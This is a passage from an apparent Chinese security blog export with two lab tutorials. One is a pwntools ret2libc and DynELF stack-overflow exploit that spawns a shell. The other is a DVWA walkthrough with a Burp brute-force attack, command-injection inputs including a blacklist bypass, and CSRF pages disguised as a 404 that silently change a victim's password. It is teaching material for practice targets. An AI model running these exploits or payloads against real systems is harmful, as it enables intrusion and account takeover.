hex(libc_start_main_addr))</span> <br > <span class= "line" > </span> <br > <span class= "line" > print(" calculating system() addr and \" /bin/sh\" addr" )</span> <br > <span class= "line" > system_addr = libc_start_main_addr + (libc.symbols[' system' ]-libc.symbols[' __libc_start_main' ])</span> <br > <span class= "line" > print(' system_addr= ' + hex(system_addr))</span> <br > <span class= "line" > binsh_addr = libc_start_main_addr + (next(libc.search(' /bin/sh' ))-libc.symbols[' __libc_start_main' ])</span> <br > <span class= "line" > print(' binsh_addr= ' + hex(binsh_addr))</span> <br > <span class= "line" > </span> <br > <span class= "line" > print(" get shell" )</span> <br > <span class= "line" > </span> <br > <span class= "line" > print(p32(system_addr),p32(binsh_addr))</span> <br > <span class= "line" > payload = flat([' a' *104,system_addr,0xdeadbeef,binsh_addr])</span> <br > <span class= "line" > p.sendline(payload)</span> <br > <span class= "line" > p.interactive()</span> <br > </pre> </td> </tr> </table> </figure>
<blockquote >
<ol >
<li > ELF模块<br > ELF模块用于获取ELF文件的信息, 首先使用ELF()获取这个文件的句柄, 然后使用这个句柄调用函数, 和IO模块很相似。<br > 下面演示了: 获取基地址、获取函数地址( 基于符号) 、获取函数got地址、获取函数plt地址<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > > > > > e = ELF(' /bin/cat' )</span> <br > <span class= "line" > > > > > print hex(e.address) # 文件装载的基地址</span> <br > <span class= "line" > > 0x400000</span> <br > <span class= "line" > > > > > print hex(e.symbols[' write' ]) # 函数地址</span> <br > <span class= "line" > > 0x401680</span> <br > <span class= "line" > > > > > print hex(e.got[' write' ]) # GOT表的地址</span> <br > <span class= "line" > > 0x60b070</span> <br > <span class= "line" > > > > > print hex(e.plt[' write' ]) # PLT的地址</span> <br > <span class= "line" > > 0x401680</span> <br > <span class= "line" > > </span> <br > </pre> </td> </tr> </table> </figure>
</li>
</ol>
</blockquote>
<p > 如果无法直接知道对方所使用的操作系统及libc的版本而苦恼, 常规方法就是挨个把常见的Libc.so从系统里拿出来, 与泄露的地址对比一下最后12位, 从而获取版本<br > github上面有个库可以参考: <br > <a href= "https://github.com/lieanu/LibcSearcher" target= "_blank" rel= "noopener" > https://github.com/lieanu/LibcSearcher</a> <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > from LibcSearcher import *</span> <br > <span class= "line" > </span> <br > <span class= "line" > #第二个参数,为已泄露的实际地址,或最后12位(比如: d90), int类型</span> <br > <span class= "line" > obj = LibcSearcher(" fgets" , 0X7ff39014bd90)</span> <br > <span class= "line" > </span> <br > <span class= "line" > obj.dump(" system" ) #system 偏移</span> <br > <span class= "line" > obj.dump(" str_bin_sh" ) #/bin/sh 偏移</span> <br > <span class= "line" > obj.dump(" __libc_start_main_ret" )</span> <br > </pre> </td> </tr> </table> </figure> </p>
<hr >
<h1 id= "0x05-Memory-Leak-amp-DynELF-在不获取目标libc-so的情况下进行ROP攻击" > <a href= "#0x05-Memory-Leak-amp-DynELF-在不获取目标libc-so的情况下进行ROP攻击" class= "headerlink" title= "0x05 Memory Leak & DynELF - 在不获取目标libc.so的情况下进行ROP攻击" > </a> 0x05 Memory Leak & DynELF - 在不获取目标libc.so的情况下进行ROP攻击</h1> <p > 参考的是蒸米的exp, 但是用的不是他的示例程序, 而是ret2libc3。<br > 他的方法是通过write@plt泄露内存, 然后寻找system函数。然后使用read@plt将’ /bin/sh’ 写入.bss段, 然后通过pppr移交控制权给system()<br > ret2libc3的不同之处在于, 没有write和read, 不过没有关系, 使用puts@plt和gets@plt也可以实现嘛, 但是难就难在, 虽然puts@plt只有一个参数, 但是它有着遇到’ \x00’ 就截断并在后面填充’ \n’ 的“好”习惯, 所以泄露出来的数据还需要处理。可以参考下面这两篇: <br > <a href= "https://www.anquanke.com/post/id/85129" target= "_blank" rel= "noopener" > https://www.anquanke.com/post/id/85129</a> <br > <a href= "http://uprprc.club/2016/09/07/pwntools-dynelf.html" target= "_blank" rel= "noopener" > http://uprprc.club/2016/09/07/pwntools-dynelf.html</a> </p>
<figure class= "highlight python" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "keyword" > from</span> pwn <span class= "keyword" > import</span> *</span> <br > <span class= "line" > </span> <br > <span class= "line" > p = process(<span class= "string" > './ret2libc3'</span> )</span> <br > <span class= "line" > elf = ELF(<span class= "string" > './ret2libc3'</span> )</span> <br > <span class= "line" > </span> <br > <span class= "line" > plt_puts = elf.symbols[<span class= "string" > 'puts'</span> ]</span> <br > <span class= "line" > main = elf.symbols[<span class= "string" > 'main'</span> ]</span> <br > <span class= "line" > plt_gets = elf.symbols[<span class= "string" > 'gets'</span> ]</span> <br > <span class= "line" > start_addr = elf.symbols[<span class= "string" > '_start'</span> ]</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "function" > <span class= "keyword" > def</span> <span class= "title" > leak</span> <span class= "params" > (address)</span> :</span> </span> <br > <span class= "line" > <span class= "keyword" > global</span> i</span> <br > <span class= "line" > count = <span class= "number" > 0</span> </span> <br > <span class= "line" > content = <span class= "string" > ''</span> </span> <br > <span class= "line" > x = p.recvuntil(<span class= "string" > '!?'</span> )</span> <br > <span class= "line" > payload1 = <span class= "string" > '\x90'</span> *<span class= "number" > 112</span> + p32(plt_puts) + p32(main) + p32(address)</span> <br > <span class= "line" > p.sendline(payload1)</span> <br > <span class= "line" > up = <span class= "string" > ""</span> </span> <br > <span class= "line" > <span class= "keyword" > while</span> <span class= "literal" > True</span> :</span> <br > <span class= "line" > c = p.recv(<span class= "number" > 1</span> )</span> <br > <span class= "line" > count += <span class= "number" > 1</span> </span> <br > <span class= "line" > <span class= "keyword" > if</span> up == <span class= "string" > '\n'</span> <span class= "keyword" > and</span> c == <span class= "string" > 'N'</span> :</span> <br > <span class= "line" > print((content).encode(<span class= "string" > 'hex'</span> ))</span> <br > <span class= "line" > content =content[:<span class= "number" > -1</span> ]+<span class= "string" > '\x00'</span> </span> <br > <span class= "line" > <span class= "keyword" > break</span> </span> <br > <span class= "line" > <span class= "keyword" > else</span> :</span> <br > <span class= "line" > content += c</span> <br > <span class= "line" > up = c</span> <br > <span class= "line" > content = content[:<span class= "number" > 4</span> ]</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "comment" > # content = p.recvuntil('\nN',True)</span> </span> <br > <span class= "line" > <span class= "comment" > # print(content)</span> </span> <br > <span class= "line" > <span class= "comment" > # if not content:</span> </span> <br > <span class= "line" > <span class= "comment" > # content = '\x00'</span> </span> <br > <span class= "line" > <span class= "comment" > # else:</span> </span> <br > <span class= "line" > <span class= "comment" > # content = content[:4]</span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > print(<span class= "string" > "%#x => %s"</span> %(address, (content <span class= "keyword" > or</span> <span class= "string" > ''</span> ).encode(<span class= "string" > 'hex'</span> )))</span> <br > <span class= "line" > <span class= "keyword" > return</span> content</span> <br > <span class= "line" > </span> <br > <span class= "line" > d = DynELF(leak,elf = ELF(<span class= "string" > './ret2libc3'</span> ))</span> <br > <span class= "line" > </span> <br > <span class= "line" > system_addr = d.lookup(<span class= "string" > 'system'</span> ,<span class= "string" > 'libc'</span> )</span> <br > <span class= "line" > print(<span class= "string" > "system address = "</span> + hex(system_addr))</span> <br > <span class= "line" > </span> <br > <span class= "line" > bss_addr = <span class= "number" > 0x0804a040</span> </span> <br > <span class= "line" > pr = <span class= "number" > 0x0804841d</span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > payload2 = flat([<span class= "string" > 'a'</span> *<span class= "number" > 112</span> ,p
<p > 这段代码在泄露第一个数据之后就失败了,我调试了好久,最后才想起来,<code > payload1 = ' \x90' *112 + p32(plt_puts) + p32(main) + p32(address)</code> 这里如果使用的是main, 那么堆栈就会不平衡, 导致溢出点变化( 参见之前从112变成104) 。但是如果改成返回到start_addr, 泄露的数据就会更多( 虽然还是没有成功) 。<br > 一个事实是汇编程序的入口是_start, 而C程序的入口是main函数</p>
<blockquote >
<p > 执行的流程是:<br > GCC将你的程序同crtbegin.o/crtend.o/gcrt1.o一块进行编译。其它默认libraries会被默认动态链接。可执行程序的开始地址被设置为_start。<br > 内核加载可执行文件, 并且建立正文段, 数据段, bss段和堆栈段, 特别的, 内核为参数和环境变量分配页面, 并且将所有必要信息push到堆栈上。<br > 控制流程到了_start上面。_start从内核建立的堆栈上获取所有信息, 为<strong > libc_start_main建立参数栈, 并且调用</strong> libc_start_main。<br > <strong > libc_start_main初始化一些必要的东西, 特别是C library( 比如malloc)线程环境并且调用我们的main函数。<br > 我们的main会以main(argv,argv)来被调用。事实上, 这里有意思的一点是main函数的签名。</strong> libc_start_main认为main的签名为main(int, char , char ),如果你感到好奇,尝试执行下面的程序。<br > <a href= "https://www.mi1k7ea.com/2019/03/05/%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B9%8Bret2libc/" target= "_blank" rel= "noopener" > https://www.mi1k7ea.com/2019/03/05/%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B9%8Bret2libc/</a> </p>
</blockquote>
]]></content>
2021-04-10 12:03:10 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > Pwn</category>
2021-04-10 12:03:10 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > linux</tag>
<tag > pwn</tag>
<tag > 栈溢出</tag>
</tags>
</entry>
<entry >
<title > DVWA黑客攻防平台</title>
<url > /2019/07/24/web-dvwa/</url>
<content > <![CDATA[<h1 id="搭建环境"> <a href= "#搭建环境" class= "headerlink" title= "搭建环境" > </a> 搭建环境</h1> <p > 最好使用docker来搭建, 方便迁移 <a href= "https://hub.docker.com/r/vulnerables/web-dvwa/" target= "_blank" rel= "noopener" > https://hub.docker.com/r/vulnerables/web-dvwa/</a> </p>
<h1 id= "暴力破解" > <a href= "#暴力破解" class= "headerlink" title= "暴力破解" > </a> 暴力破解</h1> <h2 id= "easy模式" > <a href= "#easy模式" class= "headerlink" title= "easy模式" > </a> easy模式</h2> <blockquote >
<p > 密码破解是从存储在计算机系统中或由计算机系统传输的数据中恢复密码的过程。一种常见的方法是反复尝试密码的猜测。<br > 用户经常选择弱密码。不安全选择的例子包括在词典中找到的单个单词, 姓氏, 任何太短的密码( 通常被认为少于6或7个字符) , 或可预测的模式( 例如交替的元音和辅音, 这被称为leetspeak, 所以“密码“变成”p @ 55w0rd“) 。<br > 创建针对目标生成的目标单词列表通常会提供最高的成功率。有一些公共工具可以根据公司网站,个人社交网络和其他常见信息(如生日或毕业年份)的组合创建字典。<br > 最后一种方法是尝试所有可能的密码,称为暴力攻击。从理论上讲,如果尝试次数没有限制,那么暴力攻击将永远是成功的,因为可接受密码的规则必须是公开的;但随着密码长度的增加,可能的密码数量也越来越长。</p>
</blockquote>
<p > 使用burpsuite可破之, Burp suite运行后, Proxy 开起默认的8080 端口作为本地代理接口。<br > 使用Burp suite通过置一个web 浏览器使用其代理服务器<br > <figure class= "highlight php" > <table > <tr > <td class= "code" > <pre > <span class= "line" > </span> <br > <span class= "line" > <span class= "meta" > < ?php</span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "keyword" > if</span> ( <span class= "keyword" > isset</span> ( $_GET[ <span class= "string" > 'Login'</span> ] ) ) { </span> <br > <span class= "line" > <span class= "comment" > // Get username</span> </span> <br > <span class= "line" > $user = $_GET[ <span class= "string" > 'username'</span> ];</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "comment" > // Get password</span> </span> <br > <span class= "line" > $pass = $_GET[ <span class= "string" > 'password'</span> ];</span> <br > <span class= "line" > $pass = md5( $pass );</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "comment" > // Check the database</span> </span> <br > <span class= "line" > $query = <span class= "string" > "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"</span> ;</span> <br > <span class= "line" > $result = mysqli_query($GLOBALS[<span class= "string" > "___mysqli_ston"</span> ], $query ) <span class= "keyword" > or</span> <span class= "keyword" > die</span> ( <span class= "string" > '< pre> '</span> . ((is_object($GLOBALS[<span class= "string" > "___mysqli_ston"</span> ])) ? mysqli_error($GLOBALS[<span class= "string" > "___mysqli_ston"</span> ]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : <span class= "keyword" > false</span> )) . <span class= "string" > '< /pre> '</span> );</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "keyword" > if</span> ( $result & & mysqli_num_rows( $result ) == <span class= "number" > 1</span> ) { </span> <br > <span class= "line" > <span class= "comment" > // Get users details</span> </span> <br > <span class= "line" > $row = mysqli_fetch_assoc( $result );</span> <br > <span class= "line" > $avatar = $row[<span class= "string" > "avatar"</span> ];</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "comment" > // Login successful</span> </span> <br > <span class= "line" > <span class= "keyword" > echo</span> <span class= "string" > "< p> Welcome to the password protected area { $user} < /p> "</span> ;</span> <br > <span class= "line" > <span class= "keyword" > echo</span> <span class= "string" > "< img src=\"{ $avatar} \" /> "</span> ;</span> <br > <span class= "line" > } </span> <br > <span class= "line" > <span class= "keyword" > else</span> { </span> <br > <span class= "line" > <span class= "comment" > // Login failed</span> </span> <br > <span class= "line" > <span class= "keyword" > echo</span> <span class= "string" > "< pre> < br /> Username and/or password incorrect.< /pre> "</span> ;</span> <br > <span class= "line" > } </span> <br > <span class= "line" > </span> <br > <span class= "line" > ((is_null($___mysqli_res = mysqli_close($GLOBALS[<span class= "string" > "___mysqli_ston"</span> ]))) ? <span class= "keyword" > false</span> : $___mysqli_res);</span> <br > <span class= "line" > } </span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "meta" > ?> </span> </span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > <strong > PHP $_GET 变量</strong> <br > 在 PHP 中,预定义的 $_GET 变量用于收集来自 method=”get” 的表单中的值。</p>
<p > <strong > $_GET 变量</strong> <br > 预定义的 $_GET 变量用于收集来自 method=”get” 的表单中的值。<br > 从带有 GET 方法的表单发送的信息,<strong > 对任何人都是可见的</strong> (会显示在浏览器的地址栏),并且对发送信息的量也有限制。</p>
<p > <strong > 何时使用 method=”get”? </strong> <br > 在 HTML 表单中使用 method=”get” 时,所有的变量名和值都会显示在 URL 中。<br > 所以在发送密码或其他敏感信息时,不应该使用这个方法!<br > 然而,正因为变量显示在 URL 中,因此可以在收藏夹中收藏该页面。在某些情况下,这是很有用的。<br > HTTP GET 方法不适合大型的变量值。它的值是不能超过 2000 个字符的。</p>
<figure class= "highlight html" > <table > <tr > <td class= "code" > <pre > <span class= "line" > GET /vulnerabilities/brute/?username=admin123& password=123& Login=Login HTTP/1.1</span> <br > <span class= "line" > Host: 192.168.31.84:81</span> <br > <span class= "line" > Proxy-Connection: keep-alive</span> <br > <span class= "line" > Upgrade-Insecure-Requests: 1</span> <br > <span class= "line" > User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36</span> <br > <span class= "line" > Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3</span> <br > <span class= "line" > Referer: http://192.168.31.84:81/vulnerabilities/brute/</span> <br > <span class= "line" > Accept-Encoding: gzip, deflate</span> <br > <span class= "line" > Accept-Language: zh-CN,zh;q=0.9,en;q=0.8</span> <br > <span class= "line" > Cookie: PHPSESSID=rbb91verhfhas5a6k7tq77bmo4; security=low</span> <br > </pre> </td> </tr> </table> </figure>
<p > 我们可以看到username和password是以明文出现, 可以修改。</p>
<p > 将请求进行提交到intruder模块, 在那里可以把password设置为我们破解的payload.<br > 点击Start attack~然后就根据对面返回包的大小, 知道密码, ’ password’ 返回的长度更长</p>
<h2 id= "medium模式" > <a href= "#medium模式" class= "headerlink" title= "medium模式" > </a> medium模式</h2> <p > 代码与前面相比只是多了要用mysqli_real_escape_string函数进行验证, 以及登录失败会 sleep(2)。将用户名和密码转义,比如说 \n 被转义成 \n, ’ 转义成 \’,这可以抵御一些 SQL 注入攻击,但是不能抵御爆破。</p>
<h1 id= "命令执行" > <a href= "#命令执行" class= "headerlink" title= "命令执行" > </a> 命令执行</h1> <h2 id= "easy模式-1" > <a href= "#easy模式-1" class= "headerlink" title= "easy模式" > </a> easy模式</h2> <blockquote >
<p > 命令注入攻击的目的是在易受攻击的应用程序中注入和执行攻击者指定的命令。在这种情况下, 执行不需要的系统命令的应用程序就像一个伪系统shell, 攻击者可以将它用作任何授权的系统用户。但是, 命令的执行具有与Web服务相同的权限和环境。</p>
<p > 在大多数情况下, 命令注入攻击是可能的, 因为缺少正确的输入数据验证, 攻击者可以操纵它( 表单, cookie, HTTP头等) 。</p>
<p > 操作系统( OS) ( 例如Linux和Windows) 的语法和命令可能不同, 具体取决于所需的操作。</p>
<p > 此攻击也可称为“远程命令执行( RCE) ”。</p>
</blockquote>
<figure class= "highlight php" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "meta" > < ?php</span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "keyword" > if</span> ( <span class= "keyword" > isset</span> ( $_POST[ <span class= "string" > 'Submit'</span> ] ) ) { </span> <br > <span class= "line" > <span class= "comment" > // Get input</span> </span> <br > <span class= "line" > $target = $_REQUEST[ <span class= "string" > 'ip'</span> ];</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "comment" > // Determine OS and execute the ping command.</span> </span> <br > <span class= "line" > <span class= "keyword" > if</span> ( stristr( php_uname( <span class= "string" > 's'</span> ), <span class= "string" > 'Windows NT'</span> ) ) { </span> <br > <span class= "line" > <span class= "comment" > // Windows</span> </span> <br > <span class= "line" > $cmd = shell_exec( <span class= "string" > 'ping '</span> . $target );</span> <br > <span class= "line" > } </span> <br > <span class= "line" > <span class= "keyword" > else</span> { </span> <br > <span class= "line" > <span class= "comment" > // *nix</span> </span> <br > <span class= "line" > $cmd = shell_exec( <span class= "string" > 'ping -c 4 '</span> . $target );</span> <br > <span class= "line" > } </span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "comment" > // Feedback for the end user</span> </span> <br > <span class= "line" > <span class= "keyword" > echo</span> <span class= "string" > "< pre> { $cmd} < /pre> "</span> ;</span> <br > <span class= "line" > } </span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "meta" > ?> </span> </span> <br > </pre> </td> </tr> </table> </figure>
<p > 可见, 服务器无条件执行了ping $target的命令, 如果注入$target = 0 | dir, 服务器就会执行dir</p>
<blockquote >
<p > 管道符号, 是unix一个很强大的功能,符号为一条竖线:”|”。<br > 用法: command 1 | command 2 他的功能是把第一个命令command 1执行的结果作为command 2的输入传给command 2</p>
</blockquote>
<p > <strong > 任意命令执行漏洞修补办法</strong> <br > 在写程序时尽量地使变量不能被用户所控制!且注意变量初始化的问题。</p>
<p > 使用str_replace对“%”,”|”,“> ”进行替换</p>
<p > 进入函数前判断变量是否合法。</p>
<h2 id= "medium模式-1" > <a href= "#medium模式-1" class= "headerlink" title= "medium模式" > </a> medium模式</h2> <p > 无非就是增加了一个黑名单 & & 和;,但还是可以用管道|和& <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > // Set blacklist</span> <br > <span class= "line" > $substitutions = array(</span> <br > <span class= "line" > ' & & ' => ' ' ,</span> <br > <span class= "line" > ' ;' => ' ' ,</span> <br > <span class= "line" > );</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 这里需要注意的是”& & ”与”& ”的区别:<br > Command 1& & Command 2<br > 先执行Command 1, 执行成功后执行Command 2, 否则不执行Command 2<br > Command 1& Command 2<br > 先执行Command 1, 不管是否成功, 都会执行Command 2</p>
<p > 更聪明的做法是利用& ;& ,黑名单会将其转化为& & </p>
<h1 id= "CSRF" > <a href= "#CSRF" class= "headerlink" title= "CSRF" > </a> CSRF</h1> <h2 id= "easy模式-2" > <a href= "#easy模式-2" class= "headerlink" title= "easy模式" > </a> easy模式</h2> <blockquote >
<p > CSRF跨站请求伪造是一种攻击, 它强制终端用户在当前对其进行身份验证的Web应用程序上执行不需要的操作。在社交工程的帮助下( 例如通过电子邮件/聊天发送链接) , 攻击者可能会强制Web应用程序的用户执行攻击者选择的操作。<br > 成功的CSRF利用可能会损害最终用户数据和普通用户的操作。如果目标最终用户是管理员帐户, 则可能会危及整个Web应用程序。<br > 此攻击也可称为“XSRF”, 类似于“跨站点脚本( XSS) ”, 它们通常一起使用。<br > 您的任务是让当前用户使用CSRF攻击更改自己的密码, 而无需他们了解自己的操作。</p>
</blockquote>
<figure class= "highlight php" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "meta" > < ?php</span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "keyword" > if</span> ( <span class= "keyword" > isset</span> ( $_GET[ <span class= "string" > 'Change'</span> ] ) ) { </span> <br > <span class= "line" > <span class= "comment" > // Get input</span> </span> <br > <span class= "line" > $pass_new = $_GET[ <span class= "string" > 'password_new'</span> ];</span> <br > <span class= "line" > $pass_conf = $_GET[ <span class= "string" > 'password_conf'</span> ];</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "comment" > // Do the passwords match?</span> </span> <br > <span class= "line" > <span class= "keyword" > if</span> ( $pass_new == $pass_conf ) { </span> <br > <span class= "line" > <span class= "comment" > // They do!</span> </span> <br > <span class= "line" > $pass_new = ((<span class= "keyword" > isset</span> ($GLOBALS[<span class= "string" > "___mysqli_ston"</span> ]) & & is_object($GLOBALS[<span class= "string" > "___mysqli_ston"</span> ])) ? mysqli_real_escape_string($GLOBALS[<span class= "string" > "___mysqli_ston"</span> ], $pass_new ) : ((trigger_error(<span class= "string" > "[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work."</span> , E_USER_ERROR)) ? <span class= "string" > ""</span> : <span class= "string" > ""</span> ));</span> <br > <span class= "line" > $pass_new = md5( $pass_new );</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "comment" > // Update the database</span> </span> <br > <span class= "line" > $insert = <span class= "string" > "UPDATE `users` SET password = '$pass_new' WHERE user = '"</span> . dvwaCurrentUser() . <span class= "string" > "';"</span> ;</span> <br > <span class= "line" > $result = mysqli_query($GLOBALS[<span class= "string" > "___mysqli_ston"</span> ], $insert ) <span class= "keyword" > or</span> <span class= "keyword" > die</span> ( <span class= "string" > '< pre> '</span> . ((is_object($GLOBALS[<span class= "string" > "___mysqli_ston"</span> ])) ? mysqli_error($GLOBALS[<span class= "string" > "___mysqli_ston"</span> ]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : <span class= "keyword" > false</span> )) . <span class= "string" > '< /pre> '</span> );</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "comment" > // Feedback for the user</span> </span> <br > <span class= "line" > <span class= "keyword" > echo</span> <span class= "string" > "< pre> Password Changed.< /pre> "</span> ;</span> <br > <span class= "line" > } </span> <br > <span class= "line" > <span class= "keyword" > else</span> { </span> <br > <span class= "line" > <span class= "comment" > // Issue with passwords matching</span> </span> <br > <span class= "line" > <span class= "keyword" > echo</span> <span class= "string" > "< pre> Passwords did not match.< /pre> "</span> ;</span> <br > <span class= "line" > } </span> <br > <span class= "line" > </span> <br > <span class= "line" > ((is_null($___mysqli_res = mysqli_close($GLOBALS[<span class= "string" > "___mysqli_ston"</span> ]))) ? <span class= "keyword" > false</span> : $___mysqli_res);</span> <br > <span class= "line" > } </span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "meta" > ?> </span> </span> <br > </pre> </td> </tr> </table> </figure>
<p > 服务器通过GET方式接收修改密码的请求, 会检查参数password_new与password_conf是否相同, 如果相同, 就会修改密码, 没有任何的防CSRF机制( 当然服务器对请求的发送者是做了身份验证的, 是检查的cookie, 只是这里的代码没有体现) 。</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > GET /vulnerabilities/csrf/?password_new=123& password_conf=123456& Change=Change HTTP/1.1</span> <br > <span class= "line" > Host: 192.168.31.84:81</span> <br > <span class= "line" > Upgrade-Insecure-Requests: 1</span> <br > <span class= "line" > User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36</span> <br > <span class= "line" > Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3</span> <br > <span class= "line" > Referer: http://192.168.31.84:81/vulnerabilities/csrf/?password_new=password& password_conf=123& Change=Change</span> <br > <span class= "line" > Accept-Encoding: gzip, deflate</span> <br > <span class= "line" > Accept-Language: zh-CN,zh;q=0.9,en;q=0.8</span> <br > <span class= "line" > Cookie: PHPSESSID=rbb91verhfhas5a6k7tq77bmo4; security=low</span> <br > <span class= "line" > Connection: close</span> <br > </pre> </td> </tr> </table> </figure>
<p > 根据拦截的http请求, 可以伪造如下链接让受害者点击, 从而修改密码<br > <code > http://ip:port/vulnerabilities/csrf/?password_new=test& password_conf=test& Change=Change</code> </p>
<p > 更具隐藏性的方式:<br > 1.使用短链接来隐藏 URL: <br > 为了更加隐蔽,可以生成短网址链接,点击短链接,会自动跳转到真实网站:<br > <a href= "http://tinyurl.com/yd2gogtv" target= "_blank" rel= "noopener" > http://tinyurl.com/yd2gogtv</a> <br > PS:提供一个短网址生成网站<br > 2.构造攻击页面:</p>
<ul >
<li > 方式 1 通过img标签中的src属性来加载CSRF攻击利用的URL, 并进行布局隐藏, 实现了受害者点击链接则会将密码修改。</li>
<li > 方式 2 查看页面html源代码, 将关于密码操作的表单部分, 通过javascript的onload事件加载和css代码来隐藏布局, 按GET传递参数的方式, 进一步构造html form表单, 实现了受害者点击链接则会将密码修改。<figure class= "highlight html" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "tag" > < <span class= "name" > body</span> <span class= "attr" > onload</span> =<span class= "string" > "javascript:csrf()"</span> > </span> </span> <br > <span class= "line" > <span class= "tag" > < <span class= "name" > script</span> > </span> <span class= "undefined" > </span> </span> <br > <span class= "line" > <span class= "undefined" > function csrf(){ </span> </span> <br > <span class= "line" > <span class= "undefined" > document.getElementById("button").click();</span> </span> <br > <span class= "line" > <span class= "undefined" > } </span> </span> <br > <span class= "line" > <span class= "undefined" > </span> <span class= "tag" > < /<span class= "name" > script</span> > </span> </span> <br > <span class= "line" > <span class= "tag" > < <span class= "name" > style</span> > </span> <span class= "undefined" > </span> </span> <br > <span class= "line" > <span class= "undefined" > form{ </span> </span> <br > <span class= "line" > <span class= "undefined" > display:none;</span> </span> <br > <span class= "line" > <span class= "undefined" > } </span> </span> <br > <span class= "line" > <span class= "undefined" > </span> <span class= "tag" > < /<span class= "name" > style</span> > </span> </span> <br > <span class= "line" > <span class= "tag" > < <span class= "name" > form</span> <span class= "attr" > action</span> =<span class= "string" > "http://www.dvwa.com/vulnerabilities/csrf/?"</span> <span class= "attr" > method</span> =<span class= "string" > "GET"</span> > </span> </span> <br > <span class= "line" > New password:<span class= "tag" > < <span class= "name" > br</span> /> </span> </span> <br > <span class= "line" > <span class= "tag" > < <span class= "name" > input</span> <span class= "attr" > type</span> =<span class= "string" > "password"</span> <span class= "attr" > AUTOCOMPLETE</span> =<span class= "string" > "off"</span> <span class= "attr" > name</span> =<span class= "string" > "password_new"</span> <span class= "attr" > value</span> =<span class= "string" > "test"</span> > </span> <span class= "tag" > < <span class= "name" > br</span> /> </span> </span> <br > <span class= "line" > Confirm new password:<span class= "tag" > < <span class= "name" > br</span> /> </span> </span> <br > <span class= "line" > <span class= "tag" > < <span class= "name" > input</span> <span class= "attr" > type</span> =<span class= "string" > "password"</span> <span class= "attr" > AUTOCOMPLETE</span> =<span class= "string" > "off"</span> <span class= "attr" > name</span> =<span class= "string" > "password_conf"</span> <span class= "attr" > value</span> =<span class= "string" > "test"</span> > </span> <span class= "tag" > < <span class= "name" > br</span> /> </span> </span> <br > <span class= "line" > <span class= "tag" > < <span class= "name" > br</span> /> </span> </span> <br > <span class= "line" > <span class= "tag" > < <span class= "name" > input</span> <span class= "attr" > type</span> =<span class= "string" > "submit"</span> <span class= "attr" > id</span> =<span class= "string" > "button"</span> <span class= "attr" > name</span> =<span class= "string" > "Change"</span> <span class= "attr" > value</span> =<span class= "string" > "Change"</span> /> </span> </span> <br > <span class= "line" > <span class= "tag" > < /<span class= "name" > form</span> > </span> </span> <br > <span class= "line" > <span class= "tag" > < /<span class= "name" > body</span> > </span> </span> <br > </pre> </td> </tr> </table> </figure>
</li>
</ul>
<p > 构造攻击页面</p>
<p > 现实攻击场景下, 这种方法需要事先在公网上传一个攻击页面, 诱骗受害者去访问, 真正能够在受害者不知情的情况下完成CSRF攻击。这里为了方便演示, 就在本地写一个test.html, 下面是具体代码。</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > < img src=" http://192.168.31.84:81/vulnerabilities/csrf/?password_new=111& password_conf=111& Change=Change# border=" 0" style=" display:none;" /> </span> <br > <span class= "line" > < h1> 404< /h1> </span> <br > <span class= "line" > < h2> file not found.< /h2> </span> <br > </pre> </td> </tr> </table> </figure>
<p > 当受害者访问test.html时, 会误认为是自己点击的是一个失效的url, 但实际上已经遭受了CSRF攻击, 密码已经被修改为了hack。</p>
